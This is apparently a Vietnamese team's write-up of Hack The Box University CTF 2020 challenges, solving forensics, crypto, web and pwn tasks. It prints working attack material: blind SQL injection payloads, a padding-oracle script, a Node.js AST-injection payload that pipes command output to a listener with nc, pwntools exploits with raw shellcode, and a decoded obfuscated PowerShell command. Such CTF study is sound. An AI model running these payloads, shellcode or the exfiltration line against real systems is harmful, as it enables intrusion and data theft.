?Thông tin cuộc thi:
https://ctf.hackthebox.eu/
https://www.hackthebox.eu/universities/university-ctf-2020
Nhóm Wanna.One chia sẻ một số Challenges giải được và việc chia sẻ writeup nhằm mục đích giao lưu học thuật. Mọi đóng-góp ý-kiến bọn mình luôn luôn tiếp nhận qua mail: wannaone.uit@gmail.com.
?Forensics - exfil (ζp33d_0∫_Ψ1m3)
- Source
Đầu tiên, phân tích sơ qua thì ta thấy file capture này đang mô phỏng lại quá trình Time Based Blind SQL Injection lên server thông qua protocol mysql
Filter "mysql" ta sẽ thấy được hàng loạt các câu lệnh mysql injection được attacker gửi lên server
SLEEP((SELECT ASCII(substr((SELECT group_concat(database_name) FROM mysql.innodb_table_stats), 1, 1)) >> 7 & 1) * 3)
Xử lý luồng thực thi từ trong ra ngoài thì ta sẽ có:
- SELECT group_concat(database_name) FROM mysql.innodb_table_stats group_concat(database_name) lấy tất cả record của Field database_name từ bảng mysql.innodb_table_stats (bảng này chứa tên các bảng được khởi tạo).
- substr(string,1,1) : lấy kí tự thứ 1 của string,ở đây attacker tăng dần index lên để dò vị trí các kí tự
- ASCII (char): chuyển kí tự sang mã ASCII
- ">> 7 & 1" đoạn này shift right 7, xong rồi and với 1
- Nếu kết quả trả về từ substr() là NUL thì sẽ trả về ASCII(NUL) = 0, do đó 0 >> 7 = 0; 0 & 1 = 0
- Mình lấy ví dụ 3 gói tin delay khoảng 3 (s), attacker dùng để brute database_name
SLEEP((SELECT ASCII(substr((SELECT group_concat(database_name) FROM mysql.innodb_table_stats), 1, 1)) >> 6 & 1) * 3) SLEEP((SELECT ASCII(substr((SELECT group_concat(database_name) FROM mysql.innodb_table_stats), 1, 1)) >> 5 & 1) * 3) SLEEP((SELECT ASCII(substr((SELECT group_concat(database_name) FROM mysql.innodb_table_stats), 1, 1)) >> 2 & 1) * 3) 97 >> 6 & 1 == 1 ==> SLEEP(3) 97 >> 5 & 1 == 1 ==> SLEEP(3) 97 >> 2 & 1 == 1 ==> SLEEP(3) Mã ASCII(97) = 'a' ==> chữ cái đầu tiên của database_name ở query trên là a
Vậy chỉ cần dựa vào thời gian delay giữa các cặp gói tin request/response attacker (trong TH đang xét khoảng 2-3s) có thể dễ dàng bruteforce được database_name.
Ta tiếp tục xét đoạn mysql sau:
SLEEP((SELECT ASCII(substr((SELECT group_concat(table_name) FROM mysql.innodb_table_stats WHERE database_name=0x64625f6d33313439), 1, 1)) >> 2 & 1) * 3)
- Sau khi đã bruteforce được database_name là 0x64625f6d33313439(db_m3149.users), attacker tiếp tục tìm những table do user khởi tạo
Phân tích những gói tin mysql tiếp theo, ta sẽ thấy attacker đã brute thành công column user và password
SELECT SLEEP((SELECT ASCII(substr((SELECT user FROM db_m3149.users), 1, 1)) >> 6 & 1) * 3) SELECT SLEEP((SELECT ASCII(substr((SELECT password FROM db_m3149.users), 3, 1)) >> 5 & 1) * 3)
Với cách tấn công như mình đã phân tích ở trên, attacker có thể lấy toàn bộ user,password từ phía server
Nếu là người kiên nhẫn thì bạn cũng có thể tìm ra user với password và lấy được flag
Nhưng ... mình là người chơi hệ code nên thôi code vậy
OK, sau khi phân tích xong, việc chúng ta cần làm là xử lý dữ liệu
Ban đầu mình filter mysql contains "db_m3149.users" để lọc ra dữ liệu cần thiết, sau đó export sang json để xử lý nhưng có 1 vấn đề là sau khi export thì bị duplicate key (json parse sẽ reject những key trùng nhau và chỉ lấy key ở cuối)
Mình bị stuck đoạn này khá lâu và tìm đến tshark (mình tạm gọi là phiên bản terminal của Wireshark)
tshark -Y "mysql contains db_m3149.users" -r capture.pcap -Tjson --no-duplicate-keys -w result.json segment found (oh no !!!!) -- TRY AGAIN -- tshark -Y "mysql contains db_m3149.users" -r capture.pcap -Tjson --no-duplicate-keys > result.json (Ờ mây zing, gút chóp em)
- Không dài dòng nữa code thôi :v
import json,ref = open('result.json','r').read()j = json.loads(f)user = []passwd = []for i in j: if(float(i['_source']['layers']['frame']['frame.time_delta']) > 2): temp = i['_source']['layers']['mysql'][1]['mysql.field.name'] _regextemp = re.findall(', (.*), 1\)\) >>(.*)&',temp) if re.search('SELECT user',temp): user.append(_regextemp) else: passwd.append(_regextemp)def rev(arr): # vd: arr = [6,5,2] ==> chr((1 << 6) + (1 << 5) + (1 << 2)) = 'a' result = 0 for i in arr: result += (2 ** int(i)) # 1 << i tương đương với 2 mũ i return chr(result)def Decode(msg): current = 1 result = '' temp = [] for arr in msg: if(int(arr[0][0]) == current): temp.append(arr[0][1]) else: result += rev(temp) temp = [] # reset temp temp.append(arr[0][1]) current+=1 if(arr == msg[-1]): result += rev(temp) return resultprint("[+] user :", Decode(user))print("[+] password :", Decode(passwd))
- result :
[+] user : admin[+] password : HTB{flag}
?Forensics - Plug (St1rr1ng -ζ p33d_0∫_Ψ1m3)
pcapng bằng Wireshark và nhanh chóng thấy rằng đó là việc ghi lại một số quá trình truyền dữ liệu USB giữa một máy chủ lưu trữ và những gì có vẻ là một ổ USB flash.
Mình mở tệpở đây
Các filter được sử dụng trong Wireshark cho traffic này có thể xemdevice address: 6
trong USB bus, vì vậy mình xây dựng bộ lọc Wireshark sau để chỉ nhận các gói đó:
Mặt khác, chúng tôi thấy rằng dữ liệu hàng loạt này được chuyển đến usb.device_address==6 && usb.capdata
tshark để trích xuất các gói tin:
Mình sử dụngkali@kali:~/Desktop/CTF/HTB-Uni/Plug$ tshark -r capture.pcapng -Y 'usb.capdata and usb.device_address==6' -T text 481 3.759606 host → 1.6.2 USB 539 URB_BULK out 492 3.762974 1.6.1 → host USB 45 URB_BULK in 497 3.763140 host → 1.6.2 USB 4123 URB_BULK out 503 3.766387 host → 1.6.2 USB 539 URB_BULK out 509 3.769593 host → 1.6.2 USB 539 URB_BULK out 515 3.773330 host → 1.6.2 USB 4123 URB_BULK out 521 3.777081 host → 1.6.2 USB 5147 URB_BULK out 527 3.780815 host → 1.6.2 USB 4123 URB_BULK out 533 3.788441 host → 1.6.2 USB 4123 URB_BULK out 543 3.797897 host → 1.6.2 USB 1051 URB_BULK out 549 3.801127 host → 1.6.2 USB 539 URB_BULK out 555 3.804670 host → 1.6.2 USB 539 URB_BULK out 987 7.692398 host → 1.6.2 USB 539 URB_BULK out 998 7.695867 1.6.1 → host USB 45 URB_BULK in 1003 7.696068 host → 1.6.2 USB 4123 URB_BULK out 1009 7.699230 host → 1.6.2 USB 4123 URB_BULK out 1015 7.702294 host → 1.6.2 USB 539 URB_BULK out 1021 7.705740 host → 1.6.2 USB 539 URB_BULK out 1027 7.709906 host → 1.6.2 USB 4123 URB_BULK out 1033 7.713758 host → 1.6.2 USB 4123 URB_BULK out 1039 7.716869 host → 1.6.2 USB 539 URB_BULK out 1049 7.724981 host → 1.6.2 USB 1051 URB_BULK out 1055 7.728213 host → 1.6.2 USB 539 URB_BULK out 1061 7.731636 host → 1.6.2 USB 539 URB_BULK out 1539 12.419485 host → 1.6.2 USB 539 URB_BULK out 1550 12.422887 1.6.1 → host USB 45 URB_BULK in 1555 12.423035 host → 1.6.2 USB 4123 URB_BULK out 1561 12.426195 host → 1.6.2 USB 4123 URB_BULK out 1567 12.429171 host → 1.6.2 USB 539 URB_BULK out 1573 12.432601 host → 1.6.2 USB 539 URB_BULK out 1579 12.436259 host → 1.6.2 USB 4123 URB_BULK out 1585 12.439676 host → 1.6.2 USB 4123 URB_BULK out 1591 12.442802 host → 1.6.2 USB 2075 URB_BULK out 1601 12.450847 host → 1.6.2 USB 1051 URB_BULK out 1607 12.454081 host → 1.6.2 USB 539 URB_BULK out 1613 12.457509 host → 1.6.2 USB 539 URB_BULK out 1781 16.018247 host → 1.6.2 USB 539 URB_BULK out 1792 16.021756 1.6.1 → host USB 45 URB_BULK in 1797 16.021903 host → 1.6.2 USB 4123 URB_BULK out 1803 16.025035 host → 1.6.2 USB 539 URB_BULK out 1809 16.028314 host → 1.6.2 USB 539 URB_BULK out 1815 16.032427 host → 1.6.2 USB 4123 URB_BULK out 1821 16.035434 host → 1.6.2 USB 539 URB_BULK out 1827 16.038946 host → 1.6.2 USB 539 URB_BULK out 1833 16.043731 host → 1.6.2 USB 4123 URB_BULK out 1839 16.046847 host → 1.6.2 USB 539 URB_BULK out 1845 16.050379 host → 1.6.2 USB 539 URB_BULK out 1855 16.060322 host → 1.6.2 USB 1051 URB_BULK out 1861 16.063627 host → 1.6.2 USB 539 URB_BULK out 1867 16.067105 host → 1.6.2 USB 539 URB_BULK out
Sau đó mình giải nén các gói tin vào file raw:
# tshark -r fore2.pcap -Y 'usb.capdata and usb.device_address==3' -T fields -e usb.capdata > raw
Trong đó:
-r: Đọc dữ liệu gói từ infile.
-Y: Display filter
-T: Đặt định dạng của đầu ra khi xem dữ liệu gói được giải mã
-e: Thêm một filter vào danh sách các filter để hiển thị nếu các filter -T được chọn.
usb.capdata: lấy dữ liệu gói từ filter 'USB Leftover'
xxd
Bây giờ mình chuyển đổi hex file sang binary bằng cách sử dụng# xxd -r -p raw output.bin
Trong đó:
-r: revert - reverse operation: đổi hexdump sang binary
-p: kiểu hexdump đơn giản
binwalk để tìm những file bị ẩn bên trong.
Sau đó mình thửkali@kali:~/Desktop/CTF/HTB-Uni/Plug$ binwalk output.bin DECIMAL HEXADECIMAL DESCRIPTION--------------------------------------------------------------------------------63542 0xF836 PNG image, 200 x 200, 8-bit/color RGBA, non-interlaced63583 0xF85F Zlib compressed data, default compression
Binwalk tìm thấy một hình ảnh PNG ẩn bên trong binary. . Nếu nó không được giải nén bằng lệnh trước đó, chúng ta có thể sử dụng:
kali@kali:~/Desktop/CTF/HTB-Uni/Plug$ binwalk -D 'png image:png' output.bin DECIMAL HEXADECIMAL DESCRIPTION--------------------------------------------------------------------------------63542 0xF836 PNG image, 200 x 200, 8-bit/color RGBA, non-interlaced63583 0xF85F Zlib compressed data, default compression
_output.bin.extracted
Hình ảnh được lưu trữ trong file Mở file ra ta thấy file ảnh QRCode. Scan ta có ngay flag
FLAG
?Forensics - Kapkan (ζp33d_0∫_Ψ1m3)
- Chall cho chúng ta 1 file zip giải nén ra ta được 1 file docx
- Mở file docx lên ta thấy có thông báo lỗi
- Về cấu trúc thì file docx khá giống với file zip, chứa những file XML dùng để config file docx
- Dùng binwalk để kiểm tra ta có được những file sau:
- Extract những file này bằng câu lệnh
binwalk -e invoice.docx
- Ta được folder như trong hình
- Vào folder word ta thấy file document.xml, mở file này lên ta thấy đoạn mã sau:
- Đoạn này gồm các số 32 -> 121, có khả năng là mã ASCII
- Mình viết nhanh 1 đoạn python để decode
str = "112 111 119 101 114 115 104 101 108 108 32 45 101 112 32 98 121 112 97 115 115 32 45 101 32 83 65 66 85 65 69 73 65 101 119 66 69 65 68 65 65 98 103 65 51 65 70 56 65 78 65 65 49 65 69 115 65 88 119 66 78 65 68 77 65 88 119 66 111 65 68 65 65 86 119 66 102 65 68 69 65 78 119 66 102 65 72 99 65 77 65 66 83 65 69 115 65 78 81 66 102 65 69 48 65 78 65 65 51 65 68 77 65 102 81 65 61"arr = str.split(" ")msg = ''for i in arr: msg += chr(int(i))print(msg)
Kết quả : powershell -ep bypass -e SABUAEIAewBEADAAbgA3AF8ANAA1AEsAXwBNADMAXwBoADAAVwBfADEANwBfAHcAMABSAEsANQBfAE0ANAA3ADMAfQA=
Decode đoạn base64
echo SABUAEIAewBEADAAbgA3AF8ANAA1AEsAXwBNADMAXwBoADAAVwBfADEANwBfAHcAMABSAEsANQBfAE0ANAA3ADMAfQA= |base64 --decode
- Ta được flag: HTB{FLAG}
?Crypto buggy time machine (Petrus)
https://github.com/PetrusViet/HTB-x-Uni-CTF-2020---Quals.
class TimeMachineCore:
n = ...
m = ...
c = ...
def __init__(self, seed):
self.year = seed
def next(self):
self.year = (self.year * self.m + self.c) % self.n
return self.year
app = Flask(__name__)
a = datetime.now()
seed = int(a.strftime('%Y%m%d')) <<1337 % random.getrandbits(128)
gen = TimeMachineCore(seed)
@app.route('/next_year')
def next_year():
returnjson.dumps({'year':str(gen.next())})
Đầu tiên tay thấy, chương trình sử dụng công thức year*m + c % n để tạo ra next year, đây chính là thuật toán Linear congruential generator để tạo ra số ngẫu nhiên ( à, chỉ là giả vờ ngẫu nhiên thôi :v ) . Vì sự đơn giản của nó nên nó rất nhanh, bù lại thì kha khá dễ bị crack.
Trước tiên ta chia ra một số trường hợp cho dễ sử nhé:
TH1: Ta biết được cả 3 con số m, c, n:
Yeb, trường hợp này thì ta dễ dàng tìm được "số ngẫu nhiên" kế tiếp với công thức year*m + c % n
TH2: Ta chưa biết c:
Giả sử truong trường hợp này ta đã biết 2 số ngẫu nhiên liên tiếp là s0 và s1. Ta có:
s1 = s0*m +c (mod n)
c = s1 - s0*m (mod n)
Như vậy, ta có hàm tìm c khi biết m, n và 2 số ngẫu nhiên liên tiếp:
def crack_unknown_increment(states, modulus, multiplier):
increment = (states[1] - states[0]*multiplier) % modulus
return modulus, multiplier, increment
TH3: Ta không biết m và c
Giả sử trường hợp này ta đã biết được 3 số ngẫu nhiên liên tiếp: S0, s1, s2. Ta có:
s1 = s0*m + c (mod n)
s2 = s1*m + c (mod n)
s2 - s1 = s1*m - s0*m (mod n)
s2 - s1 = m*(s1 - s0) (mod n)
m = (s2 - s1)/(s1 - s0) (mod n)
from Crypto.Util.number import inverse
def crack_unknown_multiplier(states, modulus):
multiplier = (states[2] - states[1]) * inverse(states[1] - states[0], modulus) % modulus
return crack_unknown_increment(states, modulus, multiplier)
TH4: Ta không biết cả n, c và m
Giả sử như ta đã biết 7 số ngẫu nhiên liên tiếp s0....s6 thì ta sẽ có:
với T(n) = S(n+1) - S(n):
t0 = s1 - s0
t1 = s2 - s1 = (s1*m + c) - (s0*m + c) = m*(s1 - s0) = m*t0 (mod n)
t2 = s3 - s2 = (s2*m + c) - (s1*m + c) = m*(s2 - s1) = m*t1 (mod n)
t3 = s4 - s3 = (s3*m + c) - (s2*m + c) = m*(s3 - s2) = m*t2 (mod n)
ta thấy:
t2*t0 - t1*t1 = (m*m*t0 * t0) - (m*t0 * m*t0) = 0 (mod n)
def crack_unknown_modulus(states):
diffs = [s1 - s0 for s0, s1 in zip(states, states[1:])]
zeroes = [t2*t0 - t1*t1 for t0, t1, t2 in zip(diffs, diffs[1:], diffs[2:])]
g = math.gcd(zeroes[0], zeroes[1])
for i in range(2, len(zeroes)):
g = math.gcd(g, zeroes[i])
return crack_unknown_multiplier(states, abs(g))
ta tìm được:
n = 2147483647
c = 0
m = 48271
@app.route('/travelTo2020', methods = ['POST'])
def travelTo2020():
seed = request.json['seed']
gen = TimeMachineCore(seed)
for i in range(hops): state = gen.next()
if state == 2020:
return json.dumps({'flag': flag})
Tiếp theo ta thấy, để có được flag, ta cần tìm được seed là một con số ngẫu nhiên nằm trước số 2020 hops lần, tất nhiên là ta chảng biết hops bằng bao nhiêu.
Thế nhưng, khi mình chọn seed là 1 con số bất kì, mình thấy server trả về state sau khi được gen.next( ) hops lần. Vì vậy ta chỉ cần chạy 1 vòng lặp cho đến khi chương trình tìm được số random bằng với state mà server trả về là có thể biết được hops bằng bao nhiêu:
hops = 1
s = seed
while 1:
s = s*m % n
if s == state:
print(hops)
break
hops+=1
hops = 876578
Vì c=0 thế nên ta chỉ cần lấy s1/m (mod n) là có thể tìm lại được s0:
from Crypto.Util.number import inverse
s = 2020
for i in range(hops):
s = s*inverse(m, n)
# s = 2113508741
XONG, ta gửi seed lên để lấy flag thôi:
import requests
url="http://docker.hackthebox.eu:30814/travelTo2020"
headles={"Accept":"application/json"}
r=requests.post(url,headers=headles,json={"seed": 2113508741})
print(r.text)
?Crypto cargo delivery (Petrus)
https://github.com/PetrusViet/HTB-x-Uni-CTF-2020---Quals.
Đọc code ta nhận ra ngay chương trình mã hoá sử dụng AES-128, chương trình có 2 chức năng: xem cipher text và check padding.
Vì server có cho mình biết padding của cipher text mà mình đưa lên có đúng hay không, nên mình nghĩ liền tới Padding oracle attack.
Khá đơn giản để code, nhưng mình mất một thời gian khá dài để debug code của mình :((
from pwn import *
from Crypto.Util.number import *
def pad(data):#pad hex string về 64 ký tự (32 bytes)
if len(data) < 64:
return (64-len(data))*'0'+ data
return data
t = remote('docker.hackthebox.eu', 30786)
iv0 = 'dcd098e836db949640dd02f849c04656'
c = 'dbe5d3ef953bf91f55b749a7b198797d'
d = bytearray(b'\x00'*16) # đây là chuỗi có được khi cipher text mới đi qua decrypt block,
# chưa xor với iv để tạo thành plaintext
'''
# đoạn này chỉ để check xem cipher text ban đầu có padding bao nhiêu bytes
iv = bytearray(long_to_bytes(int(iv0, 16)))
for i in range(16):
print(t.recv(2048))
t.sendline('2')
print(t.recvline())
iv[i] = 0
data = hex(bytes_to_long(bytes(iv)))[2:] + c
t.sendline(pad(data))
res = t.recvline()
print (res)
print(i)
print(pad(data))
'''
for i in range(1, 17):
iv = bytearray(long_to_bytes(int(iv0, 16)))
for k in range(0, i-1):
iv[-1-k] = d[-1-k] ^ i
print('i= ', i)
print(iv)
for j in range(256):
t.recv(2048)
t.sendline('2')
t.recvline()
iv[-i] = j
data = hex(bytes_to_long(bytes(iv)))[2:] + c
t.sendline(pad(data))
res = t.recvline()
if b'This is a valid' in res:
d[-i] = iv[-i]^i
print('ok ', i)
print(d)
print(res)
break
else:
print('xx', i , j)
print(d)
p = ''
iv =bytearray(long_to_bytes(int(iv0, 16)))
for i in range(16):
p+= chr(d[i]^iv[i])
print(p)
?Web - GUNship (n3mo)
Đề cung cấp cho mình mã nguồn nên ta sẽ đọc qua 1 lượt và xác định file quan trọng, nhận thấy file index.js ở routes là nguồn xử lý chính của chall nên ta sẽ forcus vào đó
server sử dụng flat và và handlebars template
Đọc dòng cmt dẫn ngay tới link research
https://blog.p6.is/AST-Injection/
phân tích mã nguồn ta thấy, để đủ điều kiện RCE thì cần cho chương trình chạy vào if, tức là phải chứa 1 trường artist.name có chứa 1 trong 3 cái tên cung cấp.
"artis.name": "Haigh",
"__proto__.block": {
"type": "Text",
"line": "process.mainModule.require('child_process').execSync(`ls|nc ur_ip ur_port`)"
}
}
```
Post json đơn giản sau và thực hiện lắng nghe kết nối từ server ta sẽ nhận được nội dung của lệnh ls
?Web - Cached (n3mo)
Tiếp tục chúng ta có thể tải mã nguồn về phân tích
Ta có 3 endpoints gồm, /flag, / , /cache
Flag nằm ở /flag và phải request từ local mới có thể access được endpoint này.
Vậy mục tiêu đã rõ, chúng ta sẽ thực hiên ssrf
Tiếp theo, ta đọc vào file util.py nơi có luồng xử lý chính của server.
Chúng ta có, server nhận input từ user ,và đưa vào selenium headless để request tới,
ở đây có hàm is_inner_ipaddress nhằm chống ta sử dụng các ip biến thể của ip localhost như dec,hex và octa
chúng ta không thể sử dụng cuộc tấn công DNS REBINDING bởi vì hàm socket.gethostbyname sẽ phân giải tên miền thành ip,
xem thêm DNS REBINDING tại: https://geleta.eu/2019/my-first-ssrf-using-dns-rebinfing/
sau một lúc stuck thì mình thử đến cách chuyển hướng trang
mình dựng 1 tệp php đơn giản như sau
Nhận thấy server trả về cho mình screenshot của trang example.com, vậy mình xác định mình đi đúng hướng.
Tiếp theo mình thử nghiệm chuyển hướng về local nhưng không thành công, sau một lúc tìm kiếm thì mình đọc lại file run.py thì thấy điều này
Server đang chạy trên cổng 1337 nên mình sẽ chỉnh lại để selenium có thể request tới server local
Chờ một lúc ta sẽ thấy 1 hình chứa flag.
?Web - Waf waf (n3mo)
Ta có source như sau
Chương trình sử dụng php://input làm đầu vào, thứ mà ta có thể khiểm soát. Sau đó input được lọc qua một blacklist để chống sqli, ta thấy hầu hết những thứ ta cần để sqli đều bị lọc
Để bypass , ta để ý thấy, input được lọc trước rồi mới sử dụng json_decode => lỗi ở json_decode
So for bypass this, we use Unicode encode hehe
Lúc encode thì ta sẽ bypass đc blacklist nên không bị lọc tất cả các ký tự ta cần để dựng payload,
Bài này không có bất kỳ output nào nên sẽ thuộc dạng time base blind sqli
Sử dụng hàm sau để encode Unicode
```def encode_unicode(payload):
payload=[hex(ord(i)) for i in payload]
payload="".join(payload)
payload=payload.replace("0x",r"\u00")
return payload```
các bước tiếp theo chỉ việc kiên nhẫn ngồi chờ :v
Ta có 2 tables là definitely_not_a_flag,notes
Column name
flag
?Pwn - kindergarten (boodamdang)
Kiểm tra các thông tin cơ bản của file:
kali@kali:~/Desktop/HTB$ file kindergarten
kindergarten: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=b69d0bce6edc7c92790fa058af71ac60736bab09, not stripped
kali@kali:~/Desktop/HTB$ checksec --file=kindergarten
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Full RELRO No canary found NX disabled No PIE No RPATH No RUNPATH 75 Symbols No 0 1 kindergarten
Đề cho 1 file ELF 64-bit. Các cơ chế bảo vệ chỉ bật mỗi RELRO; Canary, NX, PIE đều tắt ? khả năng cao là ret2shellcode.
Sau khi đã chạy thử và reverse chương trình, mình tóm tắt lại những điểm chính như sau:
Tại hàm
main
, in ra một số message và đọc0x60
byte vào biến toàn cụcans
sau đó gọi hàmkinder
:
0x0000000000400b8a <+82>: mov edx,0x60
0x0000000000400b8f <+87>: lea rsi,[rip+0x2014aa] # 0x602040 <ans>
0x0000000000400b96 <+94>: mov edi,0x0
0x0000000000400b9b <+99>: call 0x400740 <read@plt>
0x0000000000400ba0 <+104>: mov eax,0x0
0x0000000000400ba5 <+109>: call 0x400950 <kinder>
Hàm
kinder
cho phép chúng ta "hỏi" tối đa 5 câu. Ở 4 câu đầu có vẻ như mọi thứ vẫn ổn:
0x0000000000400a9f <+335>: lea rax,[rbp-0x50]
0x0000000000400aa3 <+339>: mov edx,0x1f
0x0000000000400aa8 <+344>: mov rsi,rax
0x0000000000400aab <+347>: mov edi,0x0
0x0000000000400ab0 <+352>: call 0x400740 <read@plt>
Nhưng đặt biệt ở câu thứ 5, hàm
read
đọc với size rất lớn:
0x0000000000400a32 <+226>: lea rax,[rbp-0x80]
0x0000000000400a36 <+230>: mov edx,0x14c
0x0000000000400a3b <+235>: mov rsi,rax
0x0000000000400a3e <+238>: mov edi,0x0
0x0000000000400a43 <+243>: call 0x400740 <read@plt>
Có thể thấy 0x14c
lớn hơn nhiều so với 0x80
? có thể overwrite return address. Vấn đề là return đi đâu? Như đã phân tích ở trên, hàm main đọc 0x60
byte vào biến toàn cục ans
. Không có PIE nên địa chỉ ans
là cố định, mình sẽ nhập shellcode vào ans
và sau đó return về ans
thôi. Ez game??? ?
Mình lên shell-storm lụm đại một cái shellcode /bin/sh
về và mình có đoạn code exploit như sau:
from pwn import *
proc = process('./kindergarten')
#raw_input('DEBUG')
#proc = remote('docker.hackthebox.eu', 30508)
shellcode = '\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'
proc.sendlineafter('> ', shellcode)
proc.sendlineafter('> ', 'y')
proc.sendlineafter('>> ', 'a')
proc.sendlineafter('> ', 'y')
proc.sendlineafter('>> ', 'a')
proc.sendlineafter('> ', 'y')
proc.sendlineafter('>> ', 'a')
proc.sendlineafter('> ', 'y')
proc.sendlineafter('>> ', 'a')
proc.sendlineafter('> ', 'y')
proc.sendlineafter('> ', 'a'*136 + p64(0x602040))
proc.interactive()
Run run run:
kali@kali:~/Desktop/HTB$ python kinder_solve.py
[+] Starting local process './kindergarten': pid 13727
[*] Switching to interactive mode
[*] Got EOF while reading in interactive
$
[*] Process './kindergarten' stopped with exit code -31 (SIGSYS) (pid 13727)
[*] Got EOF while sending in interactive
Mình search Google thì người ta bảo là "The SIGSYS signal is sent to a process when it passes a bad argument to a system call.". Sau đó mình thử các shellcode /bin/sh
khác, ngắn dài các kiểu vẫn lỗi y hệt vậy.
Quá mệt mỏi, mình ngủ thiếp đi, trong cơn mơ, Bụt hiện lên và nói "Đừng mãi yêu một người vô tâm ?". Mình giật mình dậy làm tiếp, mình ngẫm nghĩ về câu nói của Bụt... Mình chợt thắc mắc rằng có thể nhập đến tận 0x60
byte vào ans
, tận 0x60
bytes chỉ để lưu shellcode /bin/sh
? Thế là mình thử với shellcode in ra chữ "Hello world" và kết quả là in ra được ?
Sau đó mình tìm tới được shellcode in ra file /etc/passwd
(link), mình thử thì nó in ra được. Thế là mình sửa chỗ /etc/passwd
thành .//flag.txt
:
shellcode = '\xeb\x3f\x5f\x80\x77\x0b\x41\x48\x31\xc0\x04\x02\x48\x31\xf6\x0f\x05\x66\x81\xec\xff\x0f\x48\x8d\x34\x24\x48\x89\xc7\x48\x31\xd2\x66\xba\xff\x0f\x48\x31\xc0\x0f\x05\x48\x31\xff\x40\x80\xc7\x01\x48\x89\xc2\x48\x31\xc0\x04\x01\x0f\x05\x48\x31\xc0\x04\x3c\x0f\x05\xe8\xbc\xff\xff\xff\x2e\x2f\x2f\x66\x6c\x61\x67\x2e\x74\x78\x74\x41'
Run run run:
kali@kali:~/Desktop/HTB$ python kinder_solve.py
[+] Starting local process './kindergarten': pid 13815
[*] Switching to interactive mode
[*] Process './kindergarten' stopped with exit code 1 (pid 13815)
flag{boodamdang}
[*] Got EOF while reading in interactive
Ok nha ?
?Pwn - mirror (boodamdang)
Kiểm tra các thông tin cơ bản của file:
kali@kali:~/Desktop/HTB$ file mirror
mirror: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=68add878faa014b4b174d6b7e07b7d9f0c9bf486, for GNU/Linux 3.2.0, not stripped
kali@kali:~/Desktop/HTB$ checksec --file=mirror
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Full RELRO No canary found NX enabled PIE enabled No RPATH No RUNPATH 73 Symbols No 0 2 mirror
Đề cho 1 file ELF 64-bit. Các cơ chế bảo vệ chỉ tắt mỗi Canary; RELRO, NX, PIE đều tắt ? khả năng cao là ROP.
Sau khi đã chạy thử và reverse chương trình, mình tóm tắt lại những điểm chính như sau:
Tại hàm
main
, in ra một số message và đọc0x1f
byte vào một buffer local có size là0x20
byte. Nếu ký tự đầu tiên của buffer là "y" thì tiếp tục, ngược lại thoát chương trình:
0x00000000000012b4 <+95>: lea rax,[rbp-0x20]
0x00000000000012b8 <+99>: mov edx,0x1f
0x00000000000012bd <+104>: mov rsi,rax
0x00000000000012c0 <+107>: mov edi,0x0
0x00000000000012c5 <+112>: call 0x10a0 <read@plt>
0x00000000000012ca <+117>: movzx eax,BYTE PTR [rbp-0x20]
0x00000000000012ce <+121>: cmp al,0x79
0x00000000000012d0 <+123>: je 0x12f0 <main+155>
Nếu ký tự đầu tiên chúng ta nhập vào buffer tại hàm
main
là "y" thì tiếp tục gọi hàmreveal
, hàm này in ra cho chúng ta địa chỉ của một buffer local có size là0x20
(buffer này là tham số của hàmread
phía sau) và địa chỉ của hàmprintf
:
0x00000000000011c5 <+12>: lea rax,[rbp-0x20]
0x00000000000011c9 <+16>: mov rdx,QWORD PTR [rip+0x2e08] # 0x3fd8
0x00000000000011d0 <+23>: mov rsi,rax
0x00000000000011d3 <+26>: lea rdi,[rip+0xe2e] # 0x2008
0x00000000000011da <+33>: mov eax,0x0
0x00000000000011df <+38>: call 0x1070 <printf@plt>
0x00000000000011e4 <+43>: lea rdi,[rip+0xe55] # 0x2040
0x00000000000011eb <+50>: mov eax,0x0
0x00000000000011f0 <+55>: call 0x1070 <printf@plt>
Sau đó đọc
0x21
byte vào buffer vừa đề cập bên trên:
0x00000000000011f5 <+60>: lea rax,[rbp-0x20]
0x00000000000011f9 <+64>: mov edx,0x21
0x00000000000011fe <+69>: mov rsi,rax
0x0000000000001201 <+72>: mov edi,0x0
0x0000000000001206 <+77>: call 0x10a0 <read@plt
>Có thể thấy hàm read
đọc dư 1 byte, với đúng 1 byte dư này, chúng ta có thể áp dụng kỹ thuật Off-by-one. Mình sẽ overwrite byte cuối của vùng nhớ mà rbp
trỏ tới thành byte cuối của địa chỉ buffer, khi hàm read
thực thi xong, rbp
sẽ trỏ tới địa chỉ của buffer.
Libc đã leak được nhờ địa chỉ của hàm printf
bên trên. Và mình sẽ nhập chuỗi ROP = 'a'*8 + pop_rdi_ret + /bin/sh + system
vào buffer. Sau 2 lần leave
và ret
ở hàm reveal
và hàm main
thì rip
sẽ trỏ tới được pop_rdi_ret
.
Kế hoạch có vẻ ok, và mình cũng đã khai thác thành công trên local. Nhưng khi lên server thì hẹo ?. Với hàm printf
của server, mình chỉ tìm được đúng 1 libc x64. Mình cứ nghĩ rằng libc đó chưa đúng, server nó dùng một libc rừng rú nào đó, mình tốn rất nhiều thời gian để thử nát hết các libc nhưng vẫn không được... Time out, và mình vẫn chưa khai thác thành công bài này trên server ?
Mình lại đi ngủ, và Bụt lại hiện lên "Thằng đần này, bố mày đã bảo là đừng mãi yêu một người vô tâm ?". Mình đúng là quá nu nốc, hàm main
đọc 0x1f
byte vào buffer chỉ để kiểm tra ký tự đầu có phải là "y" hay không??? Có thể server đã dùng cách gì đó làm cho mình không chạy được /bin/sh
, nhưng mình hoàn toàn có thể nhập /bin/cat flag.txt
vào buffer ở hàm main
sau đó truyền vào system
mà ?. Khoảng cách giữa buffer hàm main
và buffer hàm reveal
có thể dễ dàng tính được bằng cách debug, và nó là 0x30
, bỏ qua ký tự "y" là 0x31
. Cuối cùng mình có đoạn code exploit như sau:
from pwn import *
proc = process('./mirror')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc_rop = ROP(libc)
#raw_input('DEBUG')
#proc = remote('docker.hackthebox.eu', 30186)
